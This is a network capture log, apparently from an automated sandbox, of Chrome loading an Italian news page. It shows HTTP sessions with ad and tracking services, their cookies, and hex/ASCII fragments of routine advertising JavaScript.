2024-03-28 08:51:23 UTC	1252	IN	Data Raw: 72 20 61 3d 52 61 28 51 61 2c 64 6f 63 75 6d 65 6e 74 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 29 3b 61 3d 61 26 26 61 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 6a 63 2d 66 6c 61 67 73 22 29 7c 7c 22 22 3b 74 72 79 7b 63 6f 6e 73 74 20 62 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 61 29 5b 30 5d 3b 61 3d 22 22 3b 66 6f 72 28 6c 65 74 20 63 3d 30 3b 63 3c 62 2e 6c 65 6e 67 74 68 3b 63 2b 2b 29 61 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 62 2e 63 68 61 72 43 6f 64 65 41 74 28 63 29 5e 22 5c 5c 75 30 30 30 33 5c 5c 75 30 30 30 37 5c 5c 75 30 30 30 33 5c 5c 75 30 30 30 37 5c 5c 62 5c 5c 75 30 30 30 34 5c 5c 75 30 30 30 34 5c 5c 75 30 30 30 36 5c 5c 75 30 30 30 35 5c 5c 75 30 30 30 33 22 2e 63 68 61 72 43 6f 64 65 41 74 28 Data Ascii: r a=Ra(Qa,document.currentScript);a=a&&a.getAttribute("data-jc-flags")\|\|"";try{const b=JSON.parse(a)[0];a="";for(let c=0;c<b.length;c++)a+=String.fromCharCode(b.charCodeAt(c)^"\\u0003\\u0007\\u0003\\u0007\\b\\u0004\\u0004\\u0006\\u0005\\u0003".charCodeAt(
2024-03-28 08:51:23 UTC	1252	IN	Data Raw: 5c 5c 64 2c 5d 2b 29 2f 29 29 3f 62 5b 31 5d 3a 22 22 29 7d 63 61 74 63 68 28 63 29 7b 7d 7d 62 3d 54 3b 61 3d 21 21 62 2e 69 6e 64 65 78 4f 66 26 26 30 3c 3d 62 2e 69 6e 64 65 78 4f 66 28 22 31 33 33 37 22 29 7d 72 65 74 75 72 6e 20 61 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 63 62 28 61 29 7b 61 26 26 55 26 26 56 28 29 26 26 28 55 2e 63 6c 65 61 72 4d 61 72 6b 73 28 60 67 6f 6f 67 5f 24 7b 61 2e 6c 61 62 65 6c 7d 5f 24 7b 61 2e 75 6e 69 71 75 65 49 64 7d 5f 73 74 61 72 74 60 29 2c 55 2e 63 6c 65 61 72 4d 61 72 6b 73 28 60 67 6f 6f 67 5f 24 7b 61 2e 6c 61 62 65 6c 7d 5f 24 7b 61 2e 75 6e 69 71 75 65 49 64 7d 5f 65 6e 64 60 29 29 7d 20 63 6c 61 73 73 20 64 62 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 76 61 72 20 61 3d 77 69 6e 64 6f 77 3b 74 68 69 73 2e 68 Data Ascii: \\d,]+)/))?b[1]:"")}catch(c){}}b=T;a=!!b.indexOf&&0<=b.indexOf("1337")}return a});function cb(a){a&&U&&V()&&(U.clearMarks(`goog_${a.label}_${a.uniqueId}_start`),U.clearMarks(`goog_${a.label}_${a.uniqueId}_end`))} class db{constructor(){var a=window;this.h
2024-03-28 08:51:23 UTC	1252	IN	Data Raw: 61 29 29 7d 66 75 6e 63 74 69 6f 6e 20 67 62 28 61 29 7b 6c 65 74 20 62 3d 31 3b 66 6f 72 28 63 6f 6e 73 74 20 63 20 69 6e 20 61 2e 68 29 62 3d 63 2e 6c 65 6e 67 74 68 3e 62 3f 63 2e 6c 65 6e 67 74 68 3a 62 3b 72 65 74 75 72 6e 20 33 39 39 37 2d 62 2d 61 2e 69 2e 6c 65 6e 67 74 68 2d 31 7d 20 66 75 6e 63 74 69 6f 6e 20 68 62 28 61 2c 62 29 7b 6c 65 74 20 63 3d 22 68 74 74 70 73 3a 2f 2f 70 61 67 65 61 64 32 2e 67 6f 6f 67 6c 65 73 79 6e 64 69 63 61 74 69 6f 6e 2e 63 6f 6d 22 2b 62 2c 64 3d 67 62 28 61 29 2d 62 2e 6c 65 6e 67 74 68 3b 69 66 28 30 3e 64 29 72 65 74 75 72 6e 22 22 3b 61 2e 67 2e 73 6f 72 74 28 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 2d 67 7d 29 3b 62 3d 6e 75 6c 6c 3b 6c 65 74 20 65 3d 22 22 3b 66 6f 72 28 6c 65 74 Data Ascii: a))}function gb(a){let b=1;for(const c in a.h)b=c.length>b?c.length:b;return 3997-b-a.i.length-1} function hb(a,b){let c="https://pagead2.googlesyndication.com"+b,d=gb(a)-b.length;if(0>d)return"";a.g.sort(function(f,g){return f-g});b=null;let e="";for(let

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
256	192.168.2.4	50024	100.24.220.190	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:23 UTC	697	OUT	GET /universal/v1?supply_id=mmnOOyXZ&gdpr=0&gdpr_consent= HTTP/1.1 Host: match.sharethrough.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://sync.richaudience.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: stx_user_id=e222cac2-a257-448a-96d5-9494eb4fc58c
2024-03-28 08:51:23 UTC	394	IN	HTTP/1.1 302 Found Date: Thu, 28 Mar 2024 08:51:23 GMT Content-Length: 0 Connection: close Location: https://sync.richaudience.com/6ccbc109824ae3014a36fd8993cc151d/?uid=e222cac2-a257-448a-96d5-9494eb4fc58c&gdpr=0 Set-Cookie: stx_user_id=e222cac2-a257-448a-96d5-9494eb4fc58c; Max-Age=2592000; Expires=Sat, 27 Apr 2024 08:51:23 GMT; Path=/; Domain=sharethrough.com; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
257	192.168.2.4	50034	74.121.140.211	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:23 UTC	672	OUT	GET /sync/js?sync=auto&mt_exid=10082&exsync=https%3A%2F%2Ftrz.neodatagroup.com%2Fcm%3Fsid%3D1011%26pv%3DMEDIAMATH%26eid%3D%5BMM_UUID%5D%26rt%3Dimg%26rnd%3D436232701635 HTTP/1.1 Host: pixel.mathtag.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:23 UTC	523	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:23 GMT Content-Type: text/javascript Content-Length: 1569 Connection: close Access-Control-Allow-Origin: * Server: MT3 1549 cea2cde master iad iad-pixel-x8 config_version:"1783" Cache-Control: no-cache P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" set-cookie: uuid=e37d6605-2f8b-4a00-8c65-7b6f95886a26; domain=.mathtag.com; path=/; expires=Fri, 25-Apr-2025 08:51:23 GMT; SameSite=None; Secure Expires: Thu, 28 Mar 2024 08:51:22 GMT
2024-03-28 08:51:23 UTC	1569	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 74 72 79 20 7b 0a 20 20 20 20 69 66 20 28 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 2e 4d 74 42 74 73 20 3d 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 29 20 7b 0a 20 20 20 20 77 69 6e 64 6f 77 2e 4d 74 42 74 73 20 3d 20 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 09 6d 65 74 72 69 63 20 3d 20 66 75 6e 63 74 69 6f 6e 28 75 72 6c 2c 20 77 61 69 74 29 0a 09 7b 09 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 65 20 3d 20 6e 65 77 20 49 6d 61 67 65 28 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 65 2e 73 72 63 20 3d 20 75 72 6c 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 2c 20 77 61 69 74 29 Data Ascii: (function() {try { if (typeof window.MtBts === 'undefined') { window.MtBts = function() {metric = function(url, wait){ setTimeout(function() { var e = new Image(); e.src = url; }, wait)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
258	192.168.2.4	50025	3.33.220.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:23 UTC	645	OUT	GET /track/cmf/generic?ttd_pid=id0lh84&ttd_tpi=1&gdpr=0&gdpr_consent= HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://sync.richaudience.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:23 UTC	500	IN	HTTP/1.1 302 Found Date: Thu, 28 Mar 2024 08:51:23 GMT Content-Length: 209 Connection: close server: Kestrel location: https://match.adsrvr.org/track/cmb/generic?ttd_pid=id0lh84&ttd_tpi=1&gdpr=0&gdpr_consent= set-cookie: TDID=a109dc60-dc7c-45e5-ab53-e2448a53420f; expires=Fri, 28 Mar 2025 08:51:23 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAEYBSgCMgsIsoLWn9_D5zwQBTgB; expires=Fri, 28 Mar 2025 08:51:23 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-03-28 08:51:23 UTC	209	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 61 63 6b 2f 63 6d 62 2f 67 65 6e 65 72 69 63 3f 74 74 64 5f 70 69 64 3d 69 64 30 6c 68 38 34 26 74 74 64 5f 74 70 69 3d 31 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3e 68 74 74 70 73 3a 2f 2f 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 2f 74 72 61 63 6b 2f 63 6d 62 2f 67 65 6e 65 72 69 63 3f 74 74 64 5f 70 69 64 3d 69 64 30 6c 68 38 34 26 74 74 64 5f 74 70 69 3d 31 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://match.adsrvr.org/track/cmb/generic?ttd_pid=id0lh84&ttd_tpi=1&gdpr=0&gdpr_consent=">https://match.adsrvr.org/track/cmb/generic?ttd_pid=id0lh84&ttd_tpi=1&gdpr=0&gdpr_consent=</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
259	192.168.2.4	50029	51.75.130.31	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:23 UTC	534	OUT	GET /dpiu/script.dipiu.init.js HTTP/1.1 Host: cdn.digitrend.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:23 UTC	504	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:50:25 GMT Server: Apache Last-Modified: Thu, 28 Mar 2024 08:50:03 GMT ETag: "24d-614b49bf93be3" Content-Length: 589 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,POST,OPTIONS,DELETE,PUT Content-Type: application/javascript X-Varnish: 494081345 494014140 Age: 58 Via: 1.1 varnish-v4 X-Cache: HIT Vary: Accept-Encoding, User-Agent Connection: close Accept-Ranges: bytes Set-Cookie: SRV=1\|ZgUvj; path=/ Cache-control: private
2024-03-28 08:51:23 UTC	589	IN	Data Raw: 65 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 70 2c 61 2c 63 2c 6b 2c 65 2c 64 29 7b 65 3d 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 63 2e 74 6f 53 74 72 69 6e 67 28 33 36 29 7d 3b 69 66 28 21 27 27 2e 72 65 70 6c 61 63 65 28 2f 5e 2f 2c 53 74 72 69 6e 67 29 29 7b 77 68 69 6c 65 28 63 2d 2d 29 7b 64 5b 63 2e 74 6f 53 74 72 69 6e 67 28 61 29 5d 3d 6b 5b 63 5d 7c 7c 63 2e 74 6f 53 74 72 69 6e 67 28 61 29 7d 6b 3d 5b 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 64 5b 65 5d 7d 5d 3b 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 27 5c 5c 77 2b 27 7d 3b 63 3d 31 7d 3b 77 68 69 6c 65 28 63 2d 2d 29 7b 69 66 28 6b 5b 63 5d 29 7b 70 3d 70 2e 72 65 70 6c 61 63 65 28 6e 65 77 20 52 65 67 45 78 70 28 27 5c 5c 62 27 2b 65 28 63 29 2b Data Ascii: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]\|\|c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
260	192.168.2.4	50033	20.101.38.191	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:23 UTC	787	OUT	GET /pv?sid=1011&rnd=436232701635&pv=omg&id=607&ad=197&rs=1280x1024&lg=en-US&tz=-60&ur=https%3A%2F%2Fwww.bsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&re=&co=24&pbs=true&cb=window._omgDmp.setNeoIdLastSync(%27@@neo_user_id@@%27); HTTP/1.1 Host: trz.neodatagroup.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:23 UTC	761	IN	HTTP/1.1 302 Date: Thu, 28 Mar 2024 08:51:23 GMT Content-Type: text/richtext;charset=UTF-8 Content-Length: 0 Connection: close P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"; policyref="/ad/w3c/p3p.xml" Access-Control-Allow-Origin: * Set-Cookie: cProfile=AQMdCINwxgW/AAAAAAAEAAABjpjbKGMAB2RlZmF1bHQ=; path=/; domain=.neodatagroup.com; SameSite=None; Secure; expires=Fri, 12 Apr 2024 08:51:23 GMT; Location: /pv?sid=1011&rnd=436232701635&pv=omg&id=607&ad=197&rs=1280x1024&lg=en-US&tz=-60&ur=https%3A%2F%2Fwww.bsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&re=&co=24&pbs=true&cb=window._omgDmp.setNeoIdLastSync(%27@@neo_user_id@@%27);&neoid=31d088370c605bf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
261	192.168.2.4	50037	192.0.66.91	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:23 UTC	570	OUT	GET /wp-content/plugins/digistream/js/digistream-playlist-init.js HTTP/1.1 Host: www.digistream.it Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:23 UTC	311	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:23 GMT Content-Type: application/javascript Content-Length: 472 Connection: close Last-Modified: Thu, 02 Nov 2023 08:16:31 GMT ETag: "65435adf-1d8" x-rq: dca7 111 253 443 x-cache: MISS cache-control: max-age=31536000 Accept-Ranges: bytes
2024-03-28 08:51:23 UTC	472	IN	Data Raw: 76 61 72 20 64 69 67 69 73 74 72 65 61 6d 5f 72 65 61 6c 5f 73 63 72 69 70 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 2c 0a 09 63 75 72 72 65 6e 74 5f 73 63 72 69 70 74 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 75 72 72 65 6e 74 53 63 72 69 70 74 3b 0a 0a 64 69 67 69 73 74 72 65 61 6d 5f 72 65 61 6c 5f 73 63 72 69 70 74 2e 73 72 63 20 3d 20 63 75 72 72 65 6e 74 5f 73 63 72 69 70 74 2e 73 72 63 2e 73 75 62 73 74 72 28 30 2c 20 63 75 72 72 65 6e 74 5f 73 63 72 69 70 74 2e 73 72 63 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 27 2f 27 29 29 20 2b 20 27 2f 64 69 67 69 73 74 72 65 61 6d 2d 70 6c 61 79 6c 69 73 74 2e 6a 73 3f 76 3d 27 20 2b 20 64 69 67 69 73 74 72 65 61 6d 5f 64 61 74 61 2e 64 69 67 69 73 Data Ascii: var digistream_real_script = document.createElement('script'),current_script = document.currentScript;digistream_real_script.src = current_script.src.substr(0, current_script.src.lastIndexOf('/')) + '/digistream-playlist.js?v=' + digistream_data.digis

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
262	192.168.2.4	50036	142.251.163.154	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:23 UTC	814	OUT	GET /static/topics/topics_frame.html HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:23 UTC	699	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Vary: Accept-Encoding Content-Type: text/html Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="ads-gpt-scs" Report-To: {"group":"ads-gpt-scs","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/ads-gpt-scs"}]} Content-Length: 104442 Date: Thu, 28 Mar 2024 08:51:23 GMT Expires: Thu, 28 Mar 2024 09:41:23 GMT Cache-Control: public, max-age=3000, stale-while-revalidate=3600 Last-Modified: Mon, 25 Mar 2024 19:43:48 GMT X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-03-28 08:51:23 UTC	553	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 54 6f 70 69 63 73 20 46 72 61 6d 65 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 0a 20 20 20 20 20 20 68 74 74 70 2d 65 71 75 69 76 3d 22 6f 72 69 67 69 6e 2d 74 72 69 61 6c 22 0a 20 20 20 20 20 20 63 6f 6e 74 65 6e 74 3d 22 41 76 68 35 4e 79 30 58 45 46 43 79 51 37 2b 6f 4e 69 65 58 73 6b 55 72 71 59 38 65 64 55 7a 4c 35 2f 58 72 77 4b 6c 47 6a 41 52 51 48 57 34 54 46 52 4b 2b 6a 56 64 35 48 6e 44 49 70 59 32 30 6e 35 4f 4c 48 66 67 55 34 6b 75 37 78 34 38 4e 33 75 68 47 2f 41 30 41 41 41 42 78 65 79 4a 76 63 6d 6c 6e 61 57 34 69 4f Data Ascii: <!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <title>Topics Frame</title> <meta http-equiv="origin-trial" content="Avh5Ny0XEFCyQ7+oNieXskUrqY8edUzL5/XrwKlGjARQHW4TFRK+jVd5HnDIpY20n5OLHfgU4ku7x48N3uhG/A0AAABxeyJvcmlnaW4iO
2024-03-28 08:51:23 UTC	1252	IN	Data Raw: 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 61 5b 62 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 21 30 7d 7d 7d 2c 63 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 61 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 2c 64 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 Data Ascii: a.length?{done:!1,value:a[b++]}:{done:!0}}},ca="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a},da=function(a){a=["object"==typeof globalThis&&globa
2024-03-28 08:51:23 UTC	1252	IN	Data Raw: 5f 22 2b 28 31 45 39 2a 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 3e 3e 3e 30 29 2b 22 5f 22 2c 64 3d 30 2c 65 3d 66 75 6e 63 74 69 6f 6e 28 67 29 7b 69 66 28 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 65 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 79 6d 62 6f 6c 20 69 73 20 6e 6f 74 20 61 20 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 62 28 63 2b 28 67 7c 7c 22 22 29 2b 22 5f 22 2b 64 2b 2b 2c 67 29 7d 3b 72 65 74 75 72 6e 20 65 7d 2c 22 65 73 36 22 29 3b 77 28 22 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 29 72 65 74 75 72 6e 20 61 3b 61 3d 28 30 2c 71 2e 53 79 6d 62 6f 6c 29 28 22 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 22 29 3b 66 6f Data Ascii: _"+(1E9*Math.random()>>>0)+"_",d=0,e=function(g){if(this instanceof e)throw new TypeError("Symbol is not a constructor");return new b(c+(g\|\|"")+"_"+d++,g)};return e},"es6");w("Symbol.iterator",function(a){if(a)return a;a=(0,q.Symbol)("Symbol.iterator");fo
2024-03-28 08:51:23 UTC	1252	IN	Data Raw: 3b 69 66 28 64 29 66 6f 72 28 76 61 72 20 65 20 69 6e 20 64 29 6c 61 28 64 2c 65 29 26 26 28 61 5b 65 5d 3d 64 5b 65 5d 29 7d 72 65 74 75 72 6e 20 61 7d 3b 77 28 22 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 7c 7c 6d 61 7d 2c 22 65 73 36 22 29 3b 76 61 72 20 6e 61 3d 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3f 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 3b 62 2e 70 72 6f 74 6f 74 79 70 65 3d 61 3b 72 65 74 75 72 6e 20 6e 65 77 20 62 7d 2c 6f 61 3b 69 66 28 66 61 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 76 28 4f 62 6a 65 63 74 2c 22 Data Ascii: ;if(d)for(var e in d)la(d,e)&&(a[e]=d[e])}return a};w("Object.assign",function(a){return a\|\|ma},"es6");var na="function"==typeof Object.create?Object.create:function(a){var b=function(){};b.prototype=a;return new b},oa;if(fa&&"function"==typeof v(Object,"
2024-03-28 08:51:23 UTC	1252	IN	Data Raw: 67 29 3b 76 61 72 20 63 3d 61 2e 67 2e 69 3b 69 66 28 63 29 72 65 74 75 72 6e 20 7a 61 28 61 2c 22 72 65 74 75 72 6e 22 69 6e 20 63 3f 63 5b 22 72 65 74 75 72 6e 22 5d 3a 66 75 6e 63 74 69 6f 6e 28 64 29 7b 72 65 74 75 72 6e 7b 76 61 6c 75 65 3a 64 2c 64 6f 6e 65 3a 21 30 7d 7d 2c 62 2c 61 2e 67 2e 72 65 74 75 72 6e 29 3b 61 2e 67 2e 72 65 74 75 72 6e 28 62 29 3b 72 65 74 75 72 6e 20 41 61 28 61 29 7d 2c 7a 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 29 7b 74 72 79 7b 76 61 72 20 65 3d 62 2e 63 61 6c 6c 28 61 2e 67 2e 69 2c 63 29 3b 69 66 28 21 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 4f 62 6a 65 63 74 29 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 49 74 65 72 61 74 6f 72 20 72 65 73 75 6c 74 20 22 2b 65 2b 22 20 69 73 20 Data Ascii: g);var c=a.g.i;if(c)return za(a,"return"in c?c["return"]:function(d){return{value:d,done:!0}},b,a.g.return);a.g.return(b);return Aa(a)},za=function(a,b,c,d){try{var e=b.call(a.g.i,c);if(!(e instanceof Object))throw new TypeError("Iterator result "+e+" is
